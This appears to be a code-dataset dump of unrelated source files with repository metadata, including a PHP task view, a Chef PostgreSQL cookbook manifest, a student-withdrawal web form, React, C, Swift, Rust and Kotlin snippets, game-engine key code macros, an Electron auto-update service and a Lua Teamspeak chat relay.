}
}
$priorities = array('1' => 'high', '0' => 'normal', '-1' => 'low');
$durnTypes = w2PgetSysVal('TaskDurationType');
if ('todo' == $a) {
$titleBlock = new w2p_Theme_TitleBlock('My Tasks To Do', 'icon.png', $m);
$titleBlock->addCrumb('?m=tasks', 'tasks list');
$titleBlock->show();
}
// If we are called from anywhere but directly, we would end up with
// double rows of tabs that would not work correctly, and since we
// are called from the day view of calendar, we need to prevent this
if ($m == 'tasks' && $a == 'todo') {
?>
<table class="std">
<tr>
<td width="80%" valign="top">
<?php
// Tabbed information boxes
$tabBox = new CTabBox('?m=tasks&a=todo','', $tab);
$tabBox->add(W2P_BASE_DIR . '/modules/tasks/todo_tasks_sub', 'My Tasks');
$tabBox->add(W2P_BASE_DIR . '/modules/tasks/todo_gantt_sub', 'My Gantt');
$tabBox->show();
?>
</td>
</tr>
</table>
<?php
} else {
include W2P_BASE_DIR . '/modules/tasks/todo_tasks_sub.php';
} | 39.140625 | 191 | 0.659681 |
e99baa020c5919efad80596749aad38914a5ed49 | 778 | rb | Ruby | site-cookbooks/lsoft-postgres/metadata.rb | tenaciousRas/ledwax-photon | 0b7c527b9e0ff1d779c1945517cfc1d9d1fd2fc3 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | site-cookbooks/lsoft-postgres/metadata.rb | tenaciousRas/ledwax-photon | 0b7c527b9e0ff1d779c1945517cfc1d9d1fd2fc3 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | site-cookbooks/lsoft-postgres/metadata.rb | tenaciousRas/ledwax-photon | 0b7c527b9e0ff1d779c1945517cfc1d9d1fd2fc3 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | name "lsoft-postgres"
maintainer "Longevity Software, LLC"
maintainer_email "longevitysoft@gmail.com"
license "Apache 2.0"
description "Installs and configures postgresql for clients or servers"
long_description IO.read(File.join(File.dirname(__FILE__), 'README.md'))
version "1.0.0"
source_url "https://github.com/" if respond_to?(:source_url)
issues_url "https://github.com/" if respond_to?(:issues_url)
recipe "lsoft_postgres", "Includes postgresql::server"
supports "ubuntu", "<= 16.04"
%w{debian fedora suse opensuse amazon}.each do |os|
supports os
end
%w{redhat centos scientific oracle}.each do |el|
supports el, "~> 6.0"
end
depends "group"
depends "user"
depends "postgresql", ">=4.0.0"
| 31.12 | 77 | 0.678663 |
2f4d0b448d657281f64772dce22abec0e07fd5b1 | 2,235 | php | PHP | app/Views/r_mahasiswa/FormulirAkademik/form_mengundurkan_diri.php | Diffaddien/Sistem-Informasi-Skripsi | 44ebc76ba006f4574ed9fc6876980107b817c297 | [
"MIT"
] | null | null | null | app/Views/r_mahasiswa/FormulirAkademik/form_mengundurkan_diri.php | Diffaddien/Sistem-Informasi-Skripsi | 44ebc76ba006f4574ed9fc6876980107b817c297 | [
"MIT"
] | null | null | null | app/Views/r_mahasiswa/FormulirAkademik/form_mengundurkan_diri.php | Diffaddien/Sistem-Informasi-Skripsi | 44ebc76ba006f4574ed9fc6876980107b817c297 | [
"MIT"
] | null | null | null |
<div class="container"><br/>
<center><h2><?=$title?></h2></center>
<div class="kotak-form">
<form action="<?= base_url('Cetakan/surat_mengundurkan_diri')?>" method="post">
<label for="npm">NPM :</label>
<input type="number" name="npm" class="form_text" placeholder="Masukan npm">
<label for="nama">Nama :</label>
<input type="text" name="nama" class="form_text" placeholder="Masukan Nama">
<label for="semester">Semester :</label>
<input type="number" name="semester" class="form_text" placeholder="Semester Saat ini">
<label for="strata">Strata (D-3/S-1/S-2):</label>
<input type="text" name="strata" class="form_text" placeholder="Strata">
<label for="ta">Tahun Ajaran : (contoh : 2020/2021)</label>
<input type="number" name="ta" class="form_text" placeholder="Tahun Ajaran">
<label for="alasan">Alasan Mengundurkan Diri :</label>
<input type="text" name="alasan" class="form_text" placeholder="Alasan">
<label for="dospa">Dosen Pembimbing Akademik :</label>
<input type="text" name="dospa" class="form_text" placeholder="Dosen Pembimbing Akademik">
<label for="nip_dospa">NIP Dosen Pembimbing Akademik :</label>
<input type="number" name="nip_dospa" class="form_text" placeholder="NIP Dosen Pembimbing Akademik">
<label for="ortu">Orang Tua/Wali :</label>
<input type="text" name="ortu" class="form_text" placeholder="Orang Tua/Wali">
<label for="alamat">Alamat :</label>
<input type="text" name="alamat" class="form_text" placeholder="Alamat">
<label for="nomor">No. Telepon/HP :</label>
<input type="number" name="nomor" class="form_text" placeholder="No. Telepon/HP ">
<label for="tanggal">Tanggal : (contoh : 1 Januari 2022)</label>
<input type="text" name="tanggal" class="form_text" placeholder="tanggal">
<div class="row">
<a href="<?=base_url()?>"class="back"><i class="fa fa-arrow-left"></i> Kembali</a>
<button type="submit" class="submit">
<i class="fa fa-file-import"></i> CETAK
</button>
</div>
</form>
</div>
</div>
| 51.976744 | 108 | 0.612528 |
74ad240ac224ab92589a501467e49353d1359781 | 462 | js | JavaScript | boilerplate/frontend/src/components/leads/Searcher.js | imciflam/thrift-shop | 93163d78e4c0901ac3cbcb3cd59f81f4fd3cbde1 | [
"MIT"
] | 1 | 2019-08-11T21:23:59.000Z | 2019-08-11T21:23:59.000Z | boilerplate/frontend/src/components/leads/Searcher.js | imciflam/thrift-shop | 93163d78e4c0901ac3cbcb3cd59f81f4fd3cbde1 | [
"MIT"
] | 5 | 2020-06-05T21:28:14.000Z | 2021-06-10T18:21:18.000Z | boilerplate/frontend/src/components/leads/Searcher.js | imciflam/thrift-shop | 93163d78e4c0901ac3cbcb3cd59f81f4fd3cbde1 | [
"MIT"
] | null | null | null | import React, { Component } from "react";
export class Searcher extends Component {
render() {
return (
<div>
<div className="searchbar form-group">
<input
value={this.props.text}
onChange={this.props.search}
type="text"
className="form-control"
placeholder="Поиск предложений по городу..."
/>
</div>
</div>
);
}
}
export default Searcher;
| 21 | 56 | 0.530303 |
fb59d3620bbdc3f647691d66b3c8d4c5fd77c61c | 231 | c | C | src/c/Exponenciacao.c | willisnou/Algoritmos-e-Estruturas-de-Dados | b70a2f692ccae948576177560e3628b9dece5aee | [
"MIT"
] | 653 | 2015-06-07T14:45:40.000Z | 2022-03-25T17:31:58.000Z | src/c/Exponenciacao.c | willisnou/Algoritmos-e-Estruturas-de-Dados | b70a2f692ccae948576177560e3628b9dece5aee | [
"MIT"
] | 64 | 2017-10-29T10:53:37.000Z | 2022-03-14T23:49:18.000Z | src/c/Exponenciacao.c | willisnou/Algoritmos-e-Estruturas-de-Dados | b70a2f692ccae948576177560e3628b9dece5aee | [
"MIT"
] | 224 | 2015-06-07T14:46:00.000Z | 2022-03-25T17:36:46.000Z | #include<stdio.h>
int exponenciacao(int base, int expoente){
int i;
int result = base;
for(i=0; i<expoente-1; i++)
result *= base;
return result;
}
int main(){
printf("%d\n", exponenciacao(5, 3));
return 0;
}
| 9.24 | 42 | 0.601732 |
ac0533bf52fc23a9b10d3cd6821af5d335d8c8a4 | 370 | swift | Swift | SignalProducerExtensions/UserDetails.swift | eunikolsky/SignalProducerExtensions | dacb84015b1b2b24329e619b6ae711cfece75ae2 | [
"MIT"
] | null | null | null | SignalProducerExtensions/UserDetails.swift | eunikolsky/SignalProducerExtensions | dacb84015b1b2b24329e619b6ae711cfece75ae2 | [
"MIT"
] | null | null | null | SignalProducerExtensions/UserDetails.swift | eunikolsky/SignalProducerExtensions | dacb84015b1b2b24329e619b6ae711cfece75ae2 | [
"MIT"
] | null | null | null | //
// UserDetails.swift
// SignalProducerExtensions
//
//
// Created by u on 11.01.20.
// Copyright (c) 2020 yes. All rights reserved.
//
public typealias Username = String
/// Simple struct with user details.
public struct UserDetails {
let name: Username
public init(name: Username) {
self.name = name
}
}
extension UserDetails: Equatable {}
| 16.818182 | 47 | 0.672973 |
a9257f2d0f6db3721eef63a7f5e958913124c578 | 1,044 | kt | Kotlin | app/src/main/java/com/dp/logcatapp/util/ShareUtils.kt | solokot/LogcatReader | be5aea38a2b3b3d5e355d275f1d3c2453d025da8 | [
"MIT"
] | 379 | 2017-12-27T00:23:00.000Z | 2022-03-30T09:06:44.000Z | app/src/main/java/com/dp/logcatapp/util/ShareUtils.kt | solokot/LogcatReader | be5aea38a2b3b3d5e355d275f1d3c2453d025da8 | [
"MIT"
] | 52 | 2018-01-16T17:43:48.000Z | 2022-02-15T14:53:38.000Z | app/src/main/java/com/dp/logcatapp/util/ShareUtils.kt | solokot/LogcatReader | be5aea38a2b3b3d5e355d275f1d3c2453d025da8 | [
"MIT"
] | 91 | 2018-01-14T16:41:53.000Z | 2022-03-12T20:12:37.000Z | package com.dp.logcatapp.util
import android.content.Context
import android.content.Intent
import android.net.Uri
import androidx.core.content.FileProvider
import androidx.core.net.toFile
import com.dp.logcatapp.BuildConfig
import com.dp.logcatapp.R
object ShareUtils {
fun shareSavedLogs(
context: Context,
uri: Uri,
isCustom: Boolean
): Boolean {
try {
val intent = Intent(Intent.ACTION_SEND)
val shareUri = if (isCustom) {
uri
} else {
FileProvider.getUriForFile(
context,
"${context.packageName}.${BuildConfig.FILE_PROVIDER}", uri.toFile()
)
}
intent.setDataAndType(shareUri, "text/plain")
intent.putExtra(Intent.EXTRA_STREAM, shareUri)
intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
context.startActivity(Intent.createChooser(intent, context.getString(R.string.share)))
return true
} catch (e: Exception) {
context.showToast(context.getString(R.string.unable_to_share))
return false
}
}
} | 26.1 | 92 | 0.690613 |
c300052ebe7dbbf46fef91f545d86bd8d8123b25 | 594 | rs | Rust | eir-fmm/src/reference_count/record_utilities.rs | ein-lang/eir | 70d59589efeb1f6a7e881abb28ce7aebb862018f | [
"Apache-2.0"
] | null | null | null | eir-fmm/src/reference_count/record_utilities.rs | ein-lang/eir | 70d59589efeb1f6a7e881abb28ce7aebb862018f | [
"Apache-2.0"
] | 148 | 2021-04-27T06:10:45.000Z | 2022-03-04T15:14:27.000Z | eir-fmm/src/reference_count/record_utilities.rs | ein-lang/ssf-v2 | 70d59589efeb1f6a7e881abb28ce7aebb862018f | [
"Apache-2.0"
] | null | null | null | use super::super::types;
use std::collections::hash_map::HashMap;
pub fn get_record_clone_function_name(name: &str) -> String {
format!("eir_clone_{}", name)
}
pub fn get_record_drop_function_name(name: &str) -> String {
format!("eir_drop_{}", name)
}
pub fn compile_record_rc_function_type(
record: &eir::types::Record,
types: &HashMap<String, eir::types::RecordBody>,
) -> fmm::types::Function {
fmm::types::Function::new(
vec![types::compile_record(record, types)],
fmm::types::VOID_TYPE.clone(),
fmm::types::CallingConvention::Target,
)
}
| 27 | 61 | 0.66835 |
2cbd4fe4bdd6131cd5e236b896f3ac91486e6487 | 259 | lua | Lua | Fivem-Teamspeak-Bot-master/server.lua | tracid56/Fivem-Teamspeak-Bot | d9d526cf6eff38f9af59b62f7d90db8e081653d0 | [
"Apache-2.0"
] | null | null | null | Fivem-Teamspeak-Bot-master/server.lua | tracid56/Fivem-Teamspeak-Bot | d9d526cf6eff38f9af59b62f7d90db8e081653d0 | [
"Apache-2.0"
] | null | null | null | Fivem-Teamspeak-Bot-master/server.lua | tracid56/Fivem-Teamspeak-Bot | d9d526cf6eff38f9af59b62f7d90db8e081653d0 | [
"Apache-2.0"
] | null | null | null | AddEventHandler('chatMessage', function(source, name, message)
PerformHttpRequest('Your Teamspeak IP here paste', function(err, text, headers) end, 'POST', json.encode({username = name, content = message}), { ['Content-Type'] = 'application/json' })
end) | 86.333333 | 189 | 0.722008 |
74469b91c90f46342f7f78190414ace88c8d5588 | 13,905 | h | C | BooEngine/src/Engine/Util/ApiCode.h | Concarster/BooDocking | e22ea2f4535b70ef2d8752b6a65a8c51eadbc577 | [
"Apache-2.0"
] | null | null | null | BooEngine/src/Engine/Util/ApiCode.h | Concarster/BooDocking | e22ea2f4535b70ef2d8752b6a65a8c51eadbc577 | [
"Apache-2.0"
] | null | null | null | BooEngine/src/Engine/Util/ApiCode.h | Concarster/BooDocking | e22ea2f4535b70ef2d8752b6a65a8c51eadbc577 | [
"Apache-2.0"
] | null | null | null | #pragma once
/*************************************************************************
* BooErEngine API tokens, An Implentation from GLFW3.h
*************************************************************************/
/*! @name BooErEngine version macros
* @{ */
/*! @brief The major version number of the BooErEngine library.
*
* This is incremented when the API is changed in non-compatible ways.
* @ingroup init
*/
#define BOO_VERSION_MAJOR 3
/*! @brief The minor version number of the BooErEngine library.
*
* This is incremented when features are added to the API but it remains
* backward-compatible.
* @ingroup init
*/
#define BOO_VERSION_MINOR 3
/*! @brief The revision number of the BooErEngine library.
*
* This is incremented when a bug fix release is made that does not contain any
* API changes.
* @ingroup init
*/
#define BOO_VERSION_REVISION 0
/*! @} */
/*! @brief One.
*
* This is only semantic sugar for the number 1. You can instead use `1` or
* `true` or `_True` or `GL_TRUE` or anything else that is equal to one.
*
* @ingroup init
*/
#define BOO_TRUE 1
/*! @brief Zero.
*
* This is only semantic sugar for the number 0. You can instead use `0` or
* `false` or `_False` or `GL_FALSE` or anything else that is equal to zero.
*
* @ingroup init
*/
#define BOO_FALSE 0
/*! @name Key and button actions
* @{ */
/*! @brief The key or mouse button was released.
*
* The key or mouse button was released.
*
* @ingroup input
*/
#define BOO_RELEASE 0
/*! @brief The key or mouse button was pressed.
*
* The key or mouse button was pressed.
*
* @ingroup input
*/
#define BOO_PRESS 1
/*! @brief The key was held down until it repeated.
*
* The key was held down until it repeated.
*
* @ingroup input
*/
#define BOO_REPEAT 2
/*! @} */
/*! @defgroup hat_state Joystick hat states
* @brief Joystick hat states.
*
* See [joystick hat input](@ref joystick_hat) for how these are used.
*
* @ingroup input
* @{ */
#define BOO_HAT_CENTERED 0
#define BOO_HAT_UP 1
#define BOO_HAT_RIGHT 2
#define BOO_HAT_DOWN 4
#define BOO_HAT_LEFT 8
#define BOO_HAT_RIGHT_UP (BOO_HAT_RIGHT | BOO_HAT_UP)
#define BOO_HAT_RIGHT_DOWN (BOO_HAT_RIGHT | BOO_HAT_DOWN)
#define BOO_HAT_LEFT_UP (BOO_HAT_LEFT | BOO_HAT_UP)
#define BOO_HAT_LEFT_DOWN (BOO_HAT_LEFT | BOO_HAT_DOWN)
/*! @} */
/*! @defgroup keys Keyboard keys
* @brief Keyboard key IDs.
*
* See [key input](@ref input_key) for how these are used.
*
* These key codes are inspired by the _USB HID Usage Tables v1.12_ (p. 53-60),
* but re-arranged to map to 7-bit ASCII for printable keys (function keys are
* put in the 256+ range).
*
* The naming of the key codes follow these rules:
* - The US keyboard layout is used
* - Names of printable alpha-numeric characters are used (e.g. "A", "R",
* "3", etc.)
* - For non-alphanumeric characters, Unicode:ish names are used (e.g.
* "COMMA", "LEFT_SQUARE_BRACKET", etc.). Note that some names do not
* correspond to the Unicode standard (usually for brevity)
* - Keys that lack a clear US mapping are named "WORLD_x"
* - For non-printable keys, custom names are used (e.g. "F4",
* "BACKSPACE", etc.)
*
* @ingroup input
* @{
*/
/* The unknown key */
#define BOO_KEY_UNKNOWN -1
/* Printable keys */
#define BOO_KEY_SPACE 32
#define BOO_KEY_APOSTROPHE 39 /* ' */
#define BOO_KEY_COMMA 44 /* , */
#define BOO_KEY_MINUS 45 /* - */
#define BOO_KEY_PERIOD 46 /* . */
#define BOO_KEY_SLASH 47 /* / */
#define BOO_KEY_0 48
#define BOO_KEY_1 49
#define BOO_KEY_2 50
#define BOO_KEY_3 51
#define BOO_KEY_4 52
#define BOO_KEY_5 53
#define BOO_KEY_6 54
#define BOO_KEY_7 55
#define BOO_KEY_8 56
#define BOO_KEY_9 57
#define BOO_KEY_SEMICOLON 59 /* ; */
#define BOO_KEY_EQUAL 61 /* = */
#define BOO_KEY_A 65
#define BOO_KEY_B 66
#define BOO_KEY_C 67
#define BOO_KEY_D 68
#define BOO_KEY_E 69
#define BOO_KEY_F 70
#define BOO_KEY_G 71
#define BOO_KEY_H 72
#define BOO_KEY_I 73
#define BOO_KEY_J 74
#define BOO_KEY_K 75
#define BOO_KEY_L 76
#define BOO_KEY_M 77
#define BOO_KEY_N 78
#define BOO_KEY_O 79
#define BOO_KEY_P 80
#define BOO_KEY_Q 81
#define BOO_KEY_R 82
#define BOO_KEY_S 83
#define BOO_KEY_T 84
#define BOO_KEY_U 85
#define BOO_KEY_V 86
#define BOO_KEY_W 87
#define BOO_KEY_X 88
#define BOO_KEY_Y 89
#define BOO_KEY_Z 90
#define BOO_KEY_LEFT_BRACKET 91 /* [ */
#define BOO_KEY_BACKSLASH 92 /* \ */
#define BOO_KEY_RIGHT_BRACKET 93 /* ] */
#define BOO_KEY_GRAVE_ACCENT 96 /* ` */
#define BOO_KEY_WORLD_1 161 /* non-US #1 */
#define BOO_KEY_WORLD_2 162 /* non-US #2 */
/* Function keys */
#define BOO_KEY_ESCAPE 256
#define BOO_KEY_ENTER 257
#define BOO_KEY_TAB 258
#define BOO_KEY_BACKSPACE 259
#define BOO_KEY_INSERT 260
#define BOO_KEY_DELETE 261
#define BOO_KEY_RIGHT 262
#define BOO_KEY_LEFT 263
#define BOO_KEY_DOWN 264
#define BOO_KEY_UP 265
#define BOO_KEY_PAGE_UP 266
#define BOO_KEY_PAGE_DOWN 267
#define BOO_KEY_HOME 268
#define BOO_KEY_END 269
#define BOO_KEY_CAPS_LOCK 280
#define BOO_KEY_SCROLL_LOCK 281
#define BOO_KEY_NUM_LOCK 282
#define BOO_KEY_PRINT_SCREEN 283
#define BOO_KEY_PAUSE 284
#define BOO_KEY_F1 290
#define BOO_KEY_F2 291
#define BOO_KEY_F3 292
#define BOO_KEY_F4 293
#define BOO_KEY_F5 294
#define BOO_KEY_F6 295
#define BOO_KEY_F7 296
#define BOO_KEY_F8 297
#define BOO_KEY_F9 298
#define BOO_KEY_F10 299
#define BOO_KEY_F11 300
#define BOO_KEY_F12 301
#define BOO_KEY_F13 302
#define BOO_KEY_F14 303
#define BOO_KEY_F15 304
#define BOO_KEY_F16 305
#define BOO_KEY_F17 306
#define BOO_KEY_F18 307
#define BOO_KEY_F19 308
#define BOO_KEY_F20 309
#define BOO_KEY_F21 310
#define BOO_KEY_F22 311
#define BOO_KEY_F23 312
#define BOO_KEY_F24 313
#define BOO_KEY_F25 314
#define BOO_KEY_KP_0 320
#define BOO_KEY_KP_1 321
#define BOO_KEY_KP_2 322
#define BOO_KEY_KP_3 323
#define BOO_KEY_KP_4 324
#define BOO_KEY_KP_5 325
#define BOO_KEY_KP_6 326
#define BOO_KEY_KP_7 327
#define BOO_KEY_KP_8 328
#define BOO_KEY_KP_9 329
#define BOO_KEY_KP_DECIMAL 330
#define BOO_KEY_KP_DIVIDE 331
#define BOO_KEY_KP_MULTIPLY 332
#define BOO_KEY_KP_SUBTRACT 333
#define BOO_KEY_KP_ADD 334
#define BOO_KEY_KP_ENTER 335
#define BOO_KEY_KP_EQUAL 336
#define BOO_KEY_LEFT_SHIFT 340
#define BOO_KEY_LEFT_CONTROL 341
#define BOO_KEY_LEFT_ALT 342
#define BOO_KEY_LEFT_SUPER 343
#define BOO_KEY_RIGHT_SHIFT 344
#define BOO_KEY_RIGHT_CONTROL 345
#define BOO_KEY_RIGHT_ALT 346
#define BOO_KEY_RIGHT_SUPER 347
#define BOO_KEY_MENU 348
#define BOO_KEY_LAST BOO_KEY_MENU
/*! @} */
/*! @defgroup mods Modifier key flags
* @brief Modifier key flags.
*
* See [key input](@ref input_key) for how these are used.
*
* @ingroup input
* @{ */
/*! @brief If this bit is set one or more Shift keys were held down.
*
* If this bit is set one or more Shift keys were held down.
*/
#define BOO_MOD_SHIFT 0x0001
/*! @brief If this bit is set one or more Control keys were held down.
*
* If this bit is set one or more Control keys were held down.
*/
#define BOO_MOD_CONTROL 0x0002
/*! @brief If this bit is set one or more Alt keys were held down.
*
* If this bit is set one or more Alt keys were held down.
*/
#define BOO_MOD_ALT 0x0004
/*! @brief If this bit is set one or more Super keys were held down.
*
* If this bit is set one or more Super keys were held down.
*/
#define BOO_MOD_SUPER 0x0008
/*! @brief If this bit is set the Caps Lock key is enabled.
*
* If this bit is set the Caps Lock key is enabled and the @ref
* BOO_LOCK_KEY_MODS input mode is set.
*/
#define BOO_MOD_CAPS_LOCK 0x0010
/*! @brief If this bit is set the Num Lock key is enabled.
*
* If this bit is set the Num Lock key is enabled and the @ref
* BOO_LOCK_KEY_MODS input mode is set.
*/
#define BOO_MOD_NUM_LOCK 0x0020
/*! @} */
/*! @defgroup buttons Mouse buttons
* @brief Mouse button IDs.
*
* See [mouse button input](@ref input_mouse_button) for how these are used.
*
* @ingroup input
* @{ */
#define BOO_MOUSE_BUTTON_1 0
#define BOO_MOUSE_BUTTON_2 1
#define BOO_MOUSE_BUTTON_3 2
#define BOO_MOUSE_BUTTON_4 3
#define BOO_MOUSE_BUTTON_5 4
#define BOO_MOUSE_BUTTON_6 5
#define BOO_MOUSE_BUTTON_7 6
#define BOO_MOUSE_BUTTON_8 7
#define BOO_MOUSE_BUTTON_LAST BOO_MOUSE_BUTTON_8
#define BOO_MOUSE_BUTTON_LEFT BOO_MOUSE_BUTTON_1
#define BOO_MOUSE_BUTTON_RIGHT BOO_MOUSE_BUTTON_2
#define BOO_MOUSE_BUTTON_MIDDLE BOO_MOUSE_BUTTON_3
/*! @} */
/*! @defgroup joysticks Joysticks
* @brief Joystick IDs.
*
* See [joystick input](@ref joystick) for how these are used.
*
* @ingroup input
* @{ */
#define BOO_JOYSTICK_1 0
#define BOO_JOYSTICK_2 1
#define BOO_JOYSTICK_3 2
#define BOO_JOYSTICK_4 3
#define BOO_JOYSTICK_5 4
#define BOO_JOYSTICK_6 5
#define BOO_JOYSTICK_7 6
#define BOO_JOYSTICK_8 7
#define BOO_JOYSTICK_9 8
#define BOO_JOYSTICK_10 9
#define BOO_JOYSTICK_11 10
#define BOO_JOYSTICK_12 11
#define BOO_JOYSTICK_13 12
#define BOO_JOYSTICK_14 13
#define BOO_JOYSTICK_15 14
#define BOO_JOYSTICK_16 15
#define BOO_JOYSTICK_LAST BOO_JOYSTICK_16
/*! @} */
/*! @defgroup gamepad_buttons Gamepad buttons
* @brief Gamepad buttons.
*
* See @ref gamepad for how these are used.
*
* @ingroup input
* @{ */
#define BOO_GAMEPAD_BUTTON_A 0
#define BOO_GAMEPAD_BUTTON_B 1
#define BOO_GAMEPAD_BUTTON_X 2
#define BOO_GAMEPAD_BUTTON_Y 3
#define BOO_GAMEPAD_BUTTON_LEFT_BUMPER 4
#define BOO_GAMEPAD_BUTTON_RIGHT_BUMPER 5
#define BOO_GAMEPAD_BUTTON_BACK 6
#define BOO_GAMEPAD_BUTTON_START 7
#define BOO_GAMEPAD_BUTTON_GUIDE 8
#define BOO_GAMEPAD_BUTTON_LEFT_THUMB 9
#define BOO_GAMEPAD_BUTTON_RIGHT_THUMB 10
#define BOO_GAMEPAD_BUTTON_DPAD_UP 11
#define BOO_GAMEPAD_BUTTON_DPAD_RIGHT 12
#define BOO_GAMEPAD_BUTTON_DPAD_DOWN 13
#define BOO_GAMEPAD_BUTTON_DPAD_LEFT 14
#define BOO_GAMEPAD_BUTTON_LAST BOO_GAMEPAD_BUTTBOO_DPAD_LEFT
#define BOO_GAMEPAD_BUTTON_CROSS BOO_GAMEPAD_BUTTON_A
#define BOO_GAMEPAD_BUTTON_CIRCLE BOO_GAMEPAD_BUTTON_B
#define BOO_GAMEPAD_BUTTON_SQUARE BOO_GAMEPAD_BUTTON_X
#define BOO_GAMEPAD_BUTTON_TRIANGLE BOO_GAMEPAD_BUTTON_Y
/*! @} */
/*! @defgroup gamepad_axes Gamepad axes
* @brief Gamepad axes.
*
* See @ref gamepad for how these are used.
*
* @ingroup input
* @{ */
#define BOO_GAMEPAD_AXIS_LEFT_X 0
#define BOO_GAMEPAD_AXIS_LEFT_Y 1
#define BOO_GAMEPAD_AXIS_RIGHT_X 2
#define BOO_GAMEPAD_AXIS_RIGHT_Y 3
#define BOO_GAMEPAD_AXIS_LEFT_TRIGGER 4
#define BOO_GAMEPAD_AXIS_RIGHT_TRIGGER 5
#define BOO_GAMEPAD_AXIS_LAST BOO_GAMEPAD_AXIS_RIGHT_TRIGGER
| 36.496063 | 92 | 0.559439 |
b14f41169f734391b6501f2ee19e67019d21bbd6 | 775 | h | C | gpuflow/dataplane/gpu/dataplane_lpm_gpu.h | sychangww1121/gpuflow | 18035d8aa690f220c675708da258fbec65edb2db | [
"MIT"
] | 5 | 2018-04-01T10:14:49.000Z | 2021-01-29T11:33:46.000Z | gpuflow/dataplane/gpu/dataplane_lpm_gpu.h | sychangww1121/gpuflow | 18035d8aa690f220c675708da258fbec65edb2db | [
"MIT"
] | 11 | 2017-12-23T04:20:54.000Z | 2018-01-18T03:02:55.000Z | gpuflow/dataplane/gpu/dataplane_lpm_gpu.h | tz70s/gpuflow | ed3d23a6980fdf711318f288104d45b5b6403bee | [
"MIT"
] | 4 | 2017-12-22T15:53:04.000Z | 2021-01-29T11:33:49.000Z | /*
* Copyright 2017 of original authors and authors.
*
* We use MIT license for this project, checkout LICENSE file in the root of source tree.
*/
#ifndef _DATAPLANE_LPM_GPU_H_
#define _DATAPLANE_LPM_GPU_H_
#include <dataplane/gpu/cuda/cuda_lpm_factory.h>
namespace gpuflow {
class DataPlaneLPMIPv4GPU {
public:
// FIXED rules in LPM
DataPlaneLPMIPv4GPU();
// Delegate pointer on this class.
IPv4RuleEntry *IPv4TBL24;
private:
cu::IPv4LPMFactory ipv4_lpm_factory;
int CreateLPMTable();
};
class DataPlaneLPMIPv6GPU {
public:
DataPlaneLPMIPv6GPU();
//Delegate pointer on this class.
IPv6RuleEntry *IPv6TBL24;
private:
cu::IPv6LPMFactory ipv6_lpm_factory;
int CreateLPMTable();
};
} // namespace gpuflow
#endif // _DATAPLANE_LPM_GPU_H_
| 18.902439 | 89 | 0.750968 |
3abe44696c96304e407878e0cc3ba1f38015d509 | 19 | asm | Assembly | src/main/fragment/mos6502-common/vbum1_eq_0_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vbum1_eq_0_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vbum1_eq_0_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | lda {m1}
beq {la1}
| 6.333333 | 9 | 0.578947 |
0ef6e7a42bb3f39dc23f60ef4d9e385c39b2b888 | 2,162 | ts | TypeScript | projects/studio-main/src/auto-update.service.ts | MuzikaFoundation/muzika-studio | b0b544a8d96716045a4257824409b3bef1f6de63 | [
"MIT"
] | 2 | 2019-01-13T12:34:04.000Z | 2019-06-20T19:42:21.000Z | projects/studio-main/src/auto-update.service.ts | MuzikaFoundation/muzika-studio | b0b544a8d96716045a4257824409b3bef1f6de63 | [
"MIT"
] | null | null | null | projects/studio-main/src/auto-update.service.ts | MuzikaFoundation/muzika-studio | b0b544a8d96716045a4257824409b3bef1f6de63 | [
"MIT"
] | 1 | 2020-05-31T16:22:13.000Z | 2020-05-31T16:22:13.000Z |
import { autoUpdater } from 'electron-updater';
import { EventEmitter } from 'events';
import { Actions } from './store.service';
const debug = require('debug')('muzika:main:auto-update-service');
const isDev = require('electron-is-dev');
export class MuzikaUpdater extends EventEmitter {
private static _isChecking = false;
private static _updatable = false;
constructor() {
super();
}
/**
* This static method must be called after download the latest version.
*/
static update() {
if (this._updatable) {
throw new Error('Not updatable');
}
autoUpdater.quitAndInstall();
}
checkUpdate() {
debug('checking for update');
if (MuzikaUpdater._isChecking) {
debug('already checking for update');
this.emit('error', new Error('already checking'));
return;
}
if (MuzikaUpdater._updatable) {
debug('already checking for update and downloaded');
this.emit('error', new Error('already downloaded'));
return;
}
// if in development mode, don't check update and just emit not update available event.
if (isDev) {
debug('update not available (because of develop mode)');
this.emit('available', false);
Actions.app.setUpdatable('not-available');
return;
}
MuzikaUpdater._isChecking = true;
autoUpdater.removeAllListeners('update-available');
autoUpdater.removeAllListeners('update-not-available');
autoUpdater.once('update-available', () => {
debug('update available');
this.emit('available', true);
Actions.app.setUpdatable('downloading');
});
autoUpdater.once('update-not-available', () => {
MuzikaUpdater._isChecking = false;
debug('update is not available');
this.emit('available', false);
Actions.app.setUpdatable('not-available');
});
autoUpdater.once('update-downloaded', () => {
MuzikaUpdater._isChecking = false;
MuzikaUpdater._updatable = true;
debug('update file is downloaded');
this.emit('downloaded');
Actions.app.setUpdatable('updatable');
});
autoUpdater.checkForUpdates();
return this;
}
}
| 27.025 | 91 | 0.651711 |
92be131dea620ab605d533c11c3a10fb948ab74e | 2,942 | kt | Kotlin | plot-common-portable/src/jvmTest/kotlin/plot/common/data/SeriesUtilFilterFiniteTest.kt | IKrukov-HORIS/lets-plot | b772e4abcc4c715ef3c3a2e3db55abd4044f863f | [
"MIT"
] | 768 | 2019-11-28T14:09:46.000Z | 2022-03-30T18:19:28.000Z | plot-common-portable/src/jvmTest/kotlin/plot/common/data/SeriesUtilFilterFiniteTest.kt | IKrukov-HORIS/lets-plot | b772e4abcc4c715ef3c3a2e3db55abd4044f863f | [
"MIT"
] | 240 | 2019-12-04T20:15:03.000Z | 2022-03-30T17:12:23.000Z | plot-common-portable/src/jvmTest/kotlin/plot/common/data/SeriesUtilFilterFiniteTest.kt | IKrukov-HORIS/lets-plot | b772e4abcc4c715ef3c3a2e3db55abd4044f863f | [
"MIT"
] | 43 | 2019-12-05T13:45:32.000Z | 2022-03-31T21:27:00.000Z | /*
* Copyright (c) 2019. JetBrains s.r.o.
* Use of this source code is governed by the MIT license that can be found in the LICENSE file.
*/
package jetbrains.datalore.plot.common.data
import org.junit.runner.RunWith
import org.junit.runners.Parameterized
import kotlin.test.Test
